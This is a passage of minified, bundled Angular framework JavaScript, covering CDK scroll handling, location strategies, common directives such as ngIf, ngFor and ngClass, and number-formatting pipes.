c.y(_e=>this.ngZone.runOutsideAngular(()=>(0,f.R)(this.elementRef.nativeElement,"scroll").pipe((0,Q.R)(this._destroyed)).subscribe(_e)))}ngOnInit(){this.scrollDispatcher.register(this)}ngOnDestroy(){this.scrollDispatcher.deregister(this),this._destroyed.next(),this._destroyed.complete()}elementScrolled(){return this._elementScrolled}getElementRef(){return this.elementRef}scrollTo(P){const w=this.elementRef.nativeElement,R=this.dir&&"rtl"==this.dir.value;null==P.left&&(P.left=R?P.end:P.start),null==P.right&&(P.right=R?P.start:P.end),null!=P.bottom&&(P.top=w.scrollHeight-w.clientHeight-P.bottom),R&&0!=(0,oe._i)()?(null!=P.left&&(P.right=w.scrollWidth-w.clientWidth-P.left),2==(0,oe._i)()?P.left=P.right:1==(0,oe._i)()&&(P.left=P.right?-P.right:P.right)):null!=P.right&&(P.left=w.scrollWidth-w.clientWidth-P.right),this._applyScrollToOptions(P)}_applyScrollToOptions(P){const w=this.elementRef.nativeElement;(0,oe.Mq)()?w.scrollTo(P):(null!=P.top&&(w.scrollTop=P.top),null!=P.left&&(w.scrollLeft=P.left))}measureScrollOffset(P){const w="left",R="right",X=this.elementRef.nativeElement;if("top"==P)return X.scrollTop;if("bottom"==P)return X.scrollHeight-X.clientHeight-X.scrollTop;const _e=this.dir&&"rtl"==this.dir.value;return"start"==P?P=_e?R:w:"end"==P&&(P=_e?w:R),_e&&2==(0,oe._i)()?P==w?X.scrollWidth-X.clientWidth-X.scrollLeft:X.scrollLeft:_e&&1==(0,oe._i)()?P==w?X.scrollLeft+X.scrollWidth-X.clientWidth:-X.scrollLeft:P==w?X.scrollLeft:X.scrollWidth-X.clientWidth-X.scrollLeft}}return Be.\\u0275fac=function(P){return new(P||Be)(a.Y36(a.SBq),a.Y36(Ze),a.Y36(a.R0b),a.Y36(k.Is,8))},Be.\\u0275dir=a.lG2({type:Be,selectors:[["","cdk-scrollable",""],["","cdkScrollable",""]]}),Be})(),Qe=(()=>{class Be{constructor(P,w,R){this._platform=P,this._change=new s.xQ,this._changeListener=X=>{this._change.next(X)},this._document=R,w.runOutsideAngular(()=>{if(P.isBrowser){const X=this._getWindow();X.addEventListener("resize",this._changeListener),X.addEventListener("orientationchange",this._changeListener)}this.change().subscribe(()=>this._viewportSize=null)})}ngOnDestroy(){if(this._platform.isBrowser){const P=this._getWindow();P.removeEventListener("resize",this._changeListener),P.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}getViewportSize(){this._viewportSize||this._updateViewportSize();const P={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),P}getViewportRect(){const P=this.getViewportScrollPosition(),{width:w,height:R}=this.getViewportSize();return{top:P.top,left:P.left,bottom:P.top+R,right:P.left+w,height:R,width:w}}getViewportScrollPosition(){if(!this._platform.isBrowser)return{top:0,left:0};const P=this._document,w=this._getWindow(),R=P.documentElement,X=R.getBoundingClientRect();return{top:-X.top||P.body.scrollTop||w.scrollY||R.scrollTop||0,left:-X.left||P.body.scrollLeft||w.scrollX||R.scrollLeft||0}}change(P=20){return P>0?this._change.pipe(U(P)):this._change}_getWindow(){return this._document.defaultView||window}_updateViewportSize(){const P=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:P.innerWidth,height:P.innerHeight}:{width:0,height:0}}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(oe.t4),a.LFG(a.R0b),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),We=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({}),Be})(),xt=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({imports:[k.vT,We,k.vT,We]}),Be})()},6895:(At,ae,d)=>{"use strict";d.d(ae,{Do:()=>Ce,ED:()=>X1,EM:()=>Ui,HT:()=>u,JF:()=>ti,JJ:()=>h2,K0:()=>f,Mx:()=>p1,NF:()=>bi,O5:()=>Gn,Ov:()=>Nn,PC:()=>$n,PM:()=>mn,RF:()=>Rn,S$:()=>G,V_:()=>S,Ye:()=>k,b0:()=>oe,bD:()=>x2,ez:()=>p2,i8:()=>ln,mk:()=>h1,mr:()=>Q,n9:()=>cn,q:()=>s,sg:()=>vn,w_:()=>c});var n=d(4650);let a=null;function s(){return a}function u(N){a||(a=N)}class c{}const f=new n.OlP("DocumentToken");let E=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function _(){return(0,n.LFG)(g)}()},providedIn:"platform"}),N})();const S=new n.OlP("Location Initialized");let g=(()=>{class N extends E{constructor(W){super(),this._doc=W,this._location=window.location,this._history=window.history}getBaseHrefFromDOM(){return s().getBaseHref(this._doc)}onPopState(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("popstate",W,!1),()=>Ve.removeEventListener("popstate",W)}onHashChange(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("hashchange",W,!1),()=>Ve.removeEventListener("hashchange",W)}get href(){return this._location.href}get protocol(){return this._location.protocol}get hostname(){return this._location.hostname}get port(){return this._location.port}get pathname(){return this._location.pathname}get search(){return this._location.search}get hash(){return this._location.hash}set pathname(W){this._location.pathname=W}pushState(W,Ve,ht){C()?this._history.pushState(W,Ve,ht):this._location.hash=ht}replaceState(W,Ve,ht){C()?this._history.replaceState(W,Ve,ht):this._location.hash=ht}forward(){this._history.forward()}back(){this._history.back()}historyGo(W=0){this._history.go(W)}getState(){return this._history.state}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(f))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function z(){return new g((0,n.LFG)(f))}()},providedIn:"platform"}),N})();function C(){return!!window.history.pushState}function H(N,he){if(0==N.length)return he;if(0==he.length)return N;let W=0;return N.endsWith("/")&&W++,he.startsWith("/")&&W++,2==W?N+he.substring(1):1==W?N+he:N+"/"+he}function j(N){const he=N.match(/#|\\?|$/),W=he&&he.index||N.length;return N.slice(0,W-("/"===N[W-1]?1:0))+N.slice(W)}function U(N){return N&&"?"!==N[0]?"?"+N:N}let G=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return(0,n.f3M)(oe)},providedIn:"root"}),N})();const Q=new n.OlP("appBaseHref");let oe=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._removeListenerFns=[],this._baseHref=Ve??this._platformLocation.getBaseHrefFromDOM()??(0,n.f3M)(f).location?.origin??""}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}prepareExternalUrl(W){return H(this._baseHref,W)}path(W=!1){const Ve=this._platformLocation.pathname+U(this._platformLocation.search),ht=this._platformLocation.hash;return ht&&W?`${Ve}${ht}`:Ve}pushState(W,Ve,ht,Ht){const Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){const Yt=this.prepareExternalUrl(ht+U(Ht));this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac,providedIn:"root"}),N})(),Ce=(()=>{class N extends G{constructor(W,Ve){super(),this._platformLocation=W,this._baseHref="",this._removeListenerFns=[],null!=Ve&&(this._baseHref=Ve)}ngOnDestroy(){for(;this._removeListenerFns.length;)this._removeListenerFns.pop()()}onPopState(W){this._removeListenerFns.push(this._platformLocation.onPopState(W),this._platformLocation.onHashChange(W))}getBaseHref(){return this._baseHref}path(W=!1){let Ve=this._platformLocation.hash;return null==Ve&&(Ve="#"),Ve.length>0?Ve.substring(1):Ve}prepareExternalUrl(W){const Ve=H(this._baseHref,W);return Ve.length>0?"#"+Ve:Ve}pushState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.pushState(W,Ve,Yt)}replaceState(W,Ve,ht,Ht){let Yt=this.prepareExternalUrl(ht+U(Ht));0==Yt.length&&(Yt=this._platformLocation.pathname),this._platformLocation.replaceState(W,Ve,Yt)}forward(){this._platformLocation.forward()}back(){this._platformLocation.back()}getState(){return this._platformLocation.getState()}historyGo(W=0){this._platformLocation.historyGo?.(W)}}return N.\\u0275fac=function(W){return new(W||N)(n.LFG(E),n.LFG(Q,8))},N.\\u0275prov=n.Yz7({token:N,factory:N.\\u0275fac}),N})(),k=(()=>{class N{constructor(W){this._subject=new n.vpe,this._urlChangeListeners=[],this._urlChangeSubscription=null,this._locationStrategy=W;const Ve=this._locationStrategy.getBaseHref();this._basePath=function q(N){if(new RegExp("^(https?:)?//").test(N)){const[,W]=N.split(/\\/\\/[^\\/]+/);return W}return N}(j(ee(Ve))),this._locationStrategy.onPopState(ht=>{this._subject.emit({url:this.path(!0),pop:!0,state:ht.state,type:ht.type})})}ngOnDestroy(){this._urlChangeSubscription?.unsubscribe(),this._urlChangeListeners=[]}path(W=!1){return this.normalize(this._locationStrategy.path(W))}getState(){return this._locationStrategy.getState()}isCurrentPathEqualTo(W,Ve=""){return this.path()==this.normalize(W+U(Ve))}normalize(W){return N.stripTrailingSlash(function se(N,he){if(!N||!he.startsWith(N))return he;const W=he.substring(N.length);return""===W||["/",";","?","#"].includes(W[0])?W:he}(this._basePath,ee(W)))}prepareExternalUrl(W){return W&&"/"!==W[0]&&(W="/"+W),this._locationStrategy.prepareExternalUrl(W)}go(W,Ve="",ht=null){this._locationStrategy.pushState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}replaceState(W,Ve="",ht=null){this._locationStrategy.replaceState(ht,"",W,Ve),this._notifyUrlChangeListeners(this.prepareExternalUrl(W+U(Ve)),ht)}forward(){this._locationStrategy.forward()}back(){this._locationStrategy.back()}historyGo(W=0){this._locationStrategy.historyGo?.(W)}onUrlChange(W){return this._urlChangeListeners.push(W),this._urlChangeSubscription||(this._urlChangeSubscription=this.subscribe(Ve=>{this._notifyUrlChangeListeners(Ve.url,Ve.state)})),()=>{const Ve=this._urlChangeListeners.indexOf(W);this._urlChangeListeners.splice(Ve,1),0===this._urlChangeListeners.length&&(this._urlChangeSubscription?.unsubscribe(),this._urlChangeSubscription=null)}}_notifyUrlChangeListeners(W="",Ve){this._urlChangeListeners.forEach(ht=>ht(W,Ve))}subscribe(W,Ve,ht){return this._subject.subscribe({next:W,error:Ve,complete:ht})}}return N.normalizeQueryParams=U,N.joinWithSlash=H,N.stripTrailingSlash=j,N.\\u0275fac=function(W){return new(W||N)(n.LFG(G))},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function K(){return new k((0,n.LFG)(G))}()},providedIn:"root"}),N})();function ee(N){return N.replace(/\\/index.html$/,"")}var ce=(()=>((ce=ce||{})[ce.Decimal=0]="Decimal",ce[ce.Percent=1]="Percent",ce[ce.Currency=2]="Currency",ce[ce.Scientific=3]="Scientific",ce))(),Qe=(()=>((Qe=Qe||{})[Qe.Decimal=0]="Decimal",Qe[Qe.Group=1]="Group",Qe[Qe.List=2]="List",Qe[Qe.PercentSign=3]="PercentSign",Qe[Qe.PlusSign=4]="PlusSign",Qe[Qe.MinusSign=5]="MinusSign",Qe[Qe.Exponential=6]="Exponential",Qe[Qe.SuperscriptingExponent=7]="SuperscriptingExponent",Qe[Qe.PerMille=8]="PerMille",Qe[Qe.Infinity=9]="Infinity",Qe[Qe.NaN=10]="NaN",Qe[Qe.TimeSeparator=11]="TimeSeparator",Qe[Qe.CurrencyDecimal=12]="CurrencyDecimal",Qe[Qe.CurrencyGroup=13]="CurrencyGroup",Qe))();function Be(N,he){const W=(0,n.cg1)(N),Ve=W[n.wAp.NumberSymbols][he];if(typeof Ve>"u"){if(he===Qe.CurrencyDecimal)return W[n.wAp.NumberSymbols][Qe.Decimal];if(he===Qe.CurrencyGroup)return W[n.wAp.NumberSymbols][Qe.Group]}return Ve}const ot=/^(\\d+)?\\.((\\d+)(-(\\d+))?)?$/,Ne=22,ut=".",Rt="0",Zt=";",a1=",",_1="#";function h(N){const he=parseInt(N);if(isNaN(he))throw new Error("Invalid integer literal when parsing "+N);return he}function p1(N,he){he=encodeURIComponent(he);for(const W of N.split(";")){const Ve=W.indexOf("="),[ht,Ht]=-1==Ve?[W,""]:[W.slice(0,Ve),W.slice(Ve+1)];if(ht.trim()===he)return decodeURIComponent(Ht)}return null}const w1=/\\s+/,Qt=[];let h1=(()=>{class N{constructor(W,Ve,ht,Ht){this._iterableDiffers=W,this._keyValueDiffers=Ve,this._ngEl=ht,this._renderer=Ht,this.initialClasses=Qt,this.stateMap=new Map}set klass(W){this.initialClasses=null!=W?W.trim().split(w1):Qt}set ngClass(W){this.rawClass="string"==typeof W?W.trim().split(w1):W}ngDoCheck(){for(const Ve of this.initialClasses)this._updateState(Ve,!0);const W=this.rawClass;if(Array.isArray(W)||W instanceof Set)for(const Ve of W)this._updateState(Ve,!0);else if(null!=W)for(const Ve of Object.keys(W))this._updateState(Ve,Boolean(W[Ve]));this._applyStateDiff()}_updateState(W,Ve){const ht=this.stateMap.get(W);void 0!==ht?(ht.enabled!==Ve&&(ht.changed=!0,ht.enabled=Ve),ht.touched=!0):this.stateMap.set(W,{enabled:Ve,changed:!0,touched:!0})}_applyStateDiff(){for(const W of this.stateMap){const Ve=W[0],ht=W[1];ht.changed?(this._toggleClass(Ve,ht.enabled),ht.changed=!1):ht.touched||(ht.enabled&&this._toggleClass(Ve,!1),this.stateMap.delete(Ve)),ht.touched=!1}}_toggleClass(W,Ve){(W=W.trim()).length>0&&W.split(w1).forEach(ht=>{Ve?this._renderer.addClass(this._ngEl.nativeElement,ht):this._renderer.removeClass(this._ngEl.nativeElement,ht)})}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.SBq),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngClass",""]],inputs:{klass:["class","klass"],ngClass:"ngClass"},standalone:!0}),N})();class V1{constructor(he,W,Ve,ht){this.$implicit=he,this.ngForOf=W,this.index=Ve,this.count=ht}get first(){return 0===this.index}get last(){return this.index===this.count-1}get even(){return this.index%2==0}get odd(){return!this.even}}let vn=(()=>{class N{set ngForOf(W){this._ngForOf=W,this._ngForOfDirty=!0}set ngForTrackBy(W){this._trackByFn=W}get ngForTrackBy(){return this._trackByFn}constructor(W,Ve,ht){this._viewContainer=W,this._template=Ve,this._differs=ht,this._ngForOf=null,this._ngForOfDirty=!0,this._differ=null}set ngForTemplate(W){W&&(this._template=W)}ngDoCheck(){if(this._ngForOfDirty){this._ngForOfDirty=!1;const W=this._ngForOf;!this._differ&&W&&(this._differ=this._differs.find(W).create(this.ngForTrackBy))}if(this._differ){const W=this._differ.diff(this._ngForOf);W&&this._applyChanges(W)}}_applyChanges(W){const Ve=this._viewContainer;W.forEachOperation((ht,Ht,Yt)=>{if(null==ht.previousIndex)Ve.createEmbeddedView(this._template,new V1(ht.item,this._ngForOf,-1,-1),null===Yt?void 0:Yt);else if(null==Yt)Ve.remove(null===Ht?void 0:Ht);else if(null!==Ht){const s1=Ve.get(Ht);Ve.move(s1,Yt),E1(s1,ht)}});for(let ht=0,Ht=Ve.length;ht<Ht;ht++){const s1=Ve.get(ht).context;s1.index=ht,s1.count=Ht,s1.ngForOf=this._ngForOf}W.forEachIdentityChange(ht=>{E1(Ve.get(ht.currentIndex),ht)})}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(n.ZZ4))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngFor","","ngForOf",""]],inputs:{ngForOf:"ngForOf",ngForTrackBy:"ngForTrackBy",ngForTemplate:"ngForTemplate"},standalone:!0}),N})();function E1(N,he){N.context.$implicit=he.item}let Gn=(()=>{class N{constructor(W,Ve){this._viewContainer=W,this._context=new D1,this._thenTemplateRef=null,this._elseTemplateRef=null,this._thenViewRef=null,this._elseViewRef=null,this._thenTemplateRef=Ve}set ngIf(W){this._context.$implicit=this._context.ngIf=W,this._updateView()}set ngIfThen(W){ci("ngIfThen",W),this._thenTemplateRef=W,this._thenViewRef=null,this._updateView()}set ngIfElse(W){ci("ngIfElse",W),this._elseTemplateRef=W,this._elseViewRef=null,this._updateView()}_updateView(){this._context.$implicit?this._thenViewRef||(this._viewContainer.clear(),this._elseViewRef=null,this._thenTemplateRef&&(this._thenViewRef=this._viewContainer.createEmbeddedView(this._thenTemplateRef,this._context))):this._elseViewRef||(this._viewContainer.clear(),this._thenViewRef=null,this._elseTemplateRef&&(this._elseViewRef=this._viewContainer.createEmbeddedView(this._elseTemplateRef,this._context)))}static ngTemplateContextGuard(W,Ve){return!0}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngIf",""]],inputs:{ngIf:"ngIf",ngIfThen:"ngIfThen",ngIfElse:"ngIfElse"},standalone:!0}),N})();class D1{constructor(){this.$implicit=null,this.ngIf=null}}function ci(N,he){if(he&&!he.createEmbeddedView)throw new Error(`${N} must be a TemplateRef, but received \'${(0,n.AaK)(he)}\'.`)}class fn{constructor(he,W){this._viewContainerRef=he,this._templateRef=W,this._created=!1}create(){this._created=!0,this._viewContainerRef.createEmbeddedView(this._templateRef)}destroy(){this._created=!1,this._viewContainerRef.clear()}enforceState(he){he&&!this._created?this.create():!he&&this._created&&this.destroy()}}let Rn=(()=>{class N{constructor(){this._defaultViews=[],this._defaultUsed=!1,this._caseCount=0,this._lastCaseCheckIndex=0,this._lastCasesMatched=!1}set ngSwitch(W){this._ngSwitch=W,0===this._caseCount&&this._updateDefaultCases(!0)}_addCase(){return this._caseCount++}_addDefault(W){this._defaultViews.push(W)}_matchCase(W){const Ve=W==this._ngSwitch;return this._lastCasesMatched=this._lastCasesMatched||Ve,this._lastCaseCheckIndex++,this._lastCaseCheckIndex===this._caseCount&&(this._updateDefaultCases(!this._lastCasesMatched),this._lastCaseCheckIndex=0,this._lastCasesMatched=!1),Ve}_updateDefaultCases(W){if(this._defaultViews.length>0&&W!==this._defaultUsed){this._defaultUsed=W;for(const Ve of this._defaultViews)Ve.enforceState(W)}}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitch",""]],inputs:{ngSwitch:"ngSwitch"},standalone:!0}),N})(),cn=(()=>{class N{constructor(W,Ve,ht){this.ngSwitch=ht,ht._addCase(),this._view=new fn(W,Ve)}ngDoCheck(){this._view.enforceState(this.ngSwitch._matchCase(this.ngSwitchCase))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchCase",""]],inputs:{ngSwitchCase:"ngSwitchCase"},standalone:!0}),N})(),X1=(()=>{class N{constructor(W,Ve,ht){ht._addDefault(new fn(W,Ve))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.s_b),n.Y36(n.Rgc),n.Y36(Rn,9))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngSwitchDefault",""]],standalone:!0}),N})(),$n=(()=>{class N{constructor(W,Ve,ht){this._ngEl=W,this._differs=Ve,this._renderer=ht,this._ngStyle=null,this._differ=null}set ngStyle(W){this._ngStyle=W,!this._differ&&W&&(this._differ=this._differs.find(W).create())}ngDoCheck(){if(this._differ){const W=this._differ.diff(this._ngStyle);W&&this._applyChanges(W)}}_setStyle(W,Ve){const[ht,Ht]=W.split("."),Yt=-1===ht.indexOf("-")?void 0:n.JOm.DashCase;null!=Ve?this._renderer.setStyle(this._ngEl.nativeElement,ht,Ht?`${Ve}${Ht}`:Ve,Yt):this._renderer.removeStyle(this._ngEl.nativeElement,ht,Yt)}_applyChanges(W){W.forEachRemovedItem(Ve=>this._setStyle(Ve.key,null)),W.forEachAddedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue)),W.forEachChangedItem(Ve=>this._setStyle(Ve.key,Ve.currentValue))}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.SBq),n.Y36(n.aQg),n.Y36(n.Qsj))},N.\\u0275dir=n.lG2({type:N,selectors:[["","ngStyle",""]],inputs:{ngStyle:"ngStyle"},standalone:!0}),N})();function Cn(N,he){return new n.vHH(2100,!1)}class Mn{createSubscription(he,W){return he.subscribe({next:W,error:Ve=>{throw Ve}})}dispose(he){he.unsubscribe()}}class di{createSubscription(he,W){return he.then(W,Ve=>{throw Ve})}dispose(he){}}const ri=new di,_i=new Mn;let Nn=(()=>{class N{constructor(W){this._latestValue=null,this._subscription=null,this._obj=null,this._strategy=null,this._ref=W}ngOnDestroy(){this._subscription&&this._dispose(),this._ref=null}transform(W){return this._obj?W!==this._obj?(this._dispose(),this.transform(W)):this._latestValue:(W&&this._subscribe(W),this._latestValue)}_subscribe(W){this._obj=W,this._strategy=this._selectStrategy(W),this._subscription=this._strategy.createSubscription(W,Ve=>this._updateLatestValue(W,Ve))}_selectStrategy(W){if((0,n.QGY)(W))return ri;if((0,n.F4k)(W))return _i;throw Cn()}_dispose(){this._strategy.dispose(this._subscription),this._latestValue=null,this._subscription=null,this._obj=null}_updateLatestValue(W,Ve){W===this._obj&&(this._latestValue=Ve,this._ref.markForCheck())}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.sBO,16))},N.\\u0275pipe=n.Yjl({name:"async",type:N,pure:!1,standalone:!0}),N})(),ln=(()=>{class N{transform(W){if(null==W)return null;if("string"!=typeof W)throw Cn();return W.toLowerCase()}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275pipe=n.Yjl({name:"lowercase",type:N,pure:!0,standalone:!0}),N})(),h2=(()=>{class N{constructor(W){this._locale=W}transform(W,Ve,ht){if(!function Zn(N){return!(null==N||""===N||N!=N)}(W))return null;ht=ht||this._locale;try{return function Ge(N,he,W){return function nn(N,he,W,Ve,ht,Ht,Yt=!1){let s1="",K1=!1;if(isFinite(N)){let g1=function O(N){let Ve,ht,Ht,Yt,s1,he=Math.abs(N)+"",W=0;for((ht=he.indexOf(ut))>-1&&(he=he.replace(ut,"")),(Ht=he.search(/e/i))>0?(ht<0&&(ht=Ht),ht+=+he.slice(Ht+1),he=he.substring(0,Ht)):ht<0&&(ht=he.length),Ht=0;he.charAt(Ht)===Rt;Ht++);if(Ht===(s1=he.length))Ve=[0],ht=1;else{for(s1--;he.charAt(s1)===Rt;)s1--;for(ht-=Ht,Ve=[],Yt=0;Ht<=s1;Ht++,Yt++)Ve[Yt]=Number(he.charAt(Ht))}return ht>Ne&&(Ve=Ve.splice(0,Ne-1),W=ht-1,ht=1),{digits:Ve,exponent:W,integerLen:ht}}(N);Yt&&(g1=function Me(N){if(0===N.digits[0])return N;const he=N.digits.length-N.integerLen;return N.exponent?N.exponent+=2:(0===he?N.digits.push(0,0):1===he&&N.digits.push(0),N.integerLen+=2),N}(g1));let B1=he.minInt,I1=he.minFrac,Ln=he.maxFrac;if(Ht){const mi=Ht.match(ot);if(null===mi)throw new Error(`${Ht} is not a valid digit info`);const Ii=mi[1],Ai=mi[3],ji=mi[5];null!=Ii&&(B1=h(Ii)),null!=Ai&&(I1=h(Ai)),null!=ji?Ln=h(ji):null!=Ai&&I1>Ln&&(Ln=I1)}!function de(N,he,W){if(he>W)throw new Error(`The minimum number of digits after fraction (${he}) is higher than the maximum (${W}).`);let Ve=N.digits,ht=Ve.length-N.integerLen;const Ht=Math.min(Math.max(he,ht),W);let Yt=Ht+N.integerLen,s1=Ve[Yt];if(Yt>0){Ve.splice(Math.max(N.integerLen,Yt));for(let I1=Yt;I1<Ve.length;I1++)Ve[I1]=0}else{ht=Math.max(0,ht),N.integerLen=1,Ve.length=Math.max(1,Yt=Ht+1),Ve[0]=0;for(let I1=1;I1<Yt;I1++)Ve[I1]=0}if(s1>=5)if(Yt-1<0){for(let I1=0;I1>Yt;I1--)Ve.unshift(0),N.integerLen++;Ve.unshift(1),N.integerLen++}else Ve[Yt-1]++;for(;ht<Math.max(0,Ht);ht++)Ve.push(0);let K1=0!==Ht;const g1=he+N.integerLen,B1=Ve.reduceRight(function(I1,Ln,rn,kn){return kn[rn]=(Ln+=I1)<10?Ln:Ln-10,K1&&(0===kn[rn]&&rn>=g1?kn.pop():K1=!1),Ln>=10?1:0},0);B1&&(Ve.unshift(B1),N.integerLen++)}(g1,I1,Ln);let rn=g1.digits,kn=g1.integerLen;const Di=g1.exponent;let wi=[];for(K1=rn.every(mi=>!mi);kn<B1;kn++)rn.unshift(0);for(;kn<0;kn++)rn.unshift(0);kn>0?wi=rn.splice(kn,rn.length):(wi=rn,rn=[0]);const t2=[];for(rn.length>=he.lgSize&&t2.unshift(rn.splice(-he.lgSize,rn.length).join(""));rn.length>he.gSize;)t2.unshift(rn.splice(-he.gSize,rn.length).join(""));rn.length&&t2.unshift(rn.join("")),s1=t2.join(Be(W,Ve)),wi.length&&(s1+=Be(W,ht)+wi.join("")),Di&&(s1+=Be(W,Qe.Exponential)+"+"+Di)}else s1=Be(W,Qe.Infinity);return s1=N<0&&!K1?he.negPre+s1+he.negSuf:he.posPre+s1+he.posSuf,s1}(N,function vt(N,he="-"){const W={minInt:1,minFrac:0,maxFrac:0,posPre:"",posSuf:"",negPre:"",negSuf:"",gSize:0,lgSize:0},Ve=N.split(Zt),ht=Ve[0],Ht=Ve[1],Yt=-1!==ht.indexOf(ut)?ht.split(ut):[ht.substring(0,ht.lastIndexOf(Rt)+1),ht.substring(ht.lastIndexOf(Rt)+1)],s1=Yt[0],K1=Yt[1]||"";W.posPre=s1.substring(0,s1.indexOf(_1));for(let B1=0;B1<K1.length;B1++){const I1=K1.charAt(B1);I1===Rt?W.minFrac=W.maxFrac=B1+1:I1===_1?W.maxFrac=B1+1:W.posSuf+=I1}const g1=s1.split(a1);if(W.gSize=g1[1]?g1[1].length:0,W.lgSize=g1[2]||g1[1]?(g1[2]||g1[1]).length:0,Ht){const B1=ht.length-W.posPre.length-W.posSuf.length,I1=Ht.indexOf(_1);W.negPre=Ht.substring(0,I1).replace(/\'/g,""),W.negSuf=Ht.slice(I1+B1).replace(/\'/g,"")}else W.negPre=he+W.posPre,W.negSuf=W.posSuf;return W}(function pe(N,he){return(0,n.cg1)(N)[n.wAp.NumberFormats][he]}(he,ce.Decimal),Be(he,Qe.MinusSign)),he,Qe.Group,Qe.Decimal,W)}(function Hi(N){if("string"==typeof N&&!isNaN(Number(N)-parseFloat(N)))return Number(N);if("number"!=typeof N)throw new Error(`${N} is not a number`);return N}(W),ht,Ve)}catch(Ht){throw Cn()}}}return N.\\u0275fac=function(W){return new(W||N)(n.Y36(n.soG,16))},N.\\u0275pipe=n.Yjl({name:"number",type:N,pure:!0,standalone:!0}),N})();let p2=(()=>{class N{}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275mod=n.oAB({type:N}),N.\\u0275inj=n.cJS({}),N})();const x2="browser",yi="server";function bi(N){return N===x2}function mn(N){return N===yi}let Ui=(()=>{class N{}return N.\\u0275prov=(0,n.Yz7)({token:N,providedIn:"root",factory:()=>new o2((0,n.LFG)(f),window)}),N})();class o2{constructor(he,W){this.document=he,this.window=W,this.offset=()=>[0,0]}setOffset(he){this.offset=Array.isArray(he)?()=>he:he}getScrollPosition(){return this.supportsScrolling()?[this.window.pageXOffset,this.window.pageYOffset]:[0,0]}scrollToPosition(he){this.supportsScrolling()&&this.window.scrollTo(he[0],he[1])}scrollToAnchor(he){if(!this.supportsScrolling())return;const W=function ki(N,he){const W=N.getElementById(he)||N.getElementsByName(he)[0];if(W)return W;if("function"==typeof N.createTreeWalker&&N.body&&(N.body.createShadowRoot||N.body.attachShadow)){const Ve=N.createTreeWalker(N.body,NodeFilter.SHOW_ELEMENT);let ht=Ve.currentNode;for(;ht;){const Ht=ht.shadowRoot;if(Ht){const Yt=Ht.getElementById(he)||Ht.querySelector(`[name="${he}"]`);if(Yt)return Yt}ht=Ve.nextNode()}}return null}(this.document,he);W&&(this.scrollToElement(W),W.focus())}setHistoryScrollRestoration(he){if(this.supportScrollRestoration()){const W=this.window.history;W&&W.scrollRestoration&&(W.scrollRestoration=he)}}scrollToElement(he){const W=he.getBoundingClientRect(),Ve=W.left+this.window.pageXOffset,ht=W.top+this.window.pageYOffset,Ht=this.offset();this.window.scrollTo(Ve-Ht[0],ht-Ht[1])}supportScrollRestoration(){try{if(!this.supportsScrolling())return!1;const he=Li(this.window.history)||Li(Object.getPrototypeOf(this.window.history));return!(!he||!he.writable&&!he.set)}catch{return!1}}supportsScrolling(){try{return!!this.window&&!!this.window.scrollTo&&"pageXOffset"in this.window}catch{return!1}}}function Li(N){return Object.getOwnPropertyDescriptor(N,"scrollRestoration")}class ti{}},529:(At,ae,d)=>{"use strict";d.d(ae,{JF:()=>Pe,TP:()=>ze,eN:()=>qe});var n=d(6895),a=d(4650),s=d(1086),u=d(6498),c=d(1406),f=d(2198),E=d(4850);class _{}class S{}class 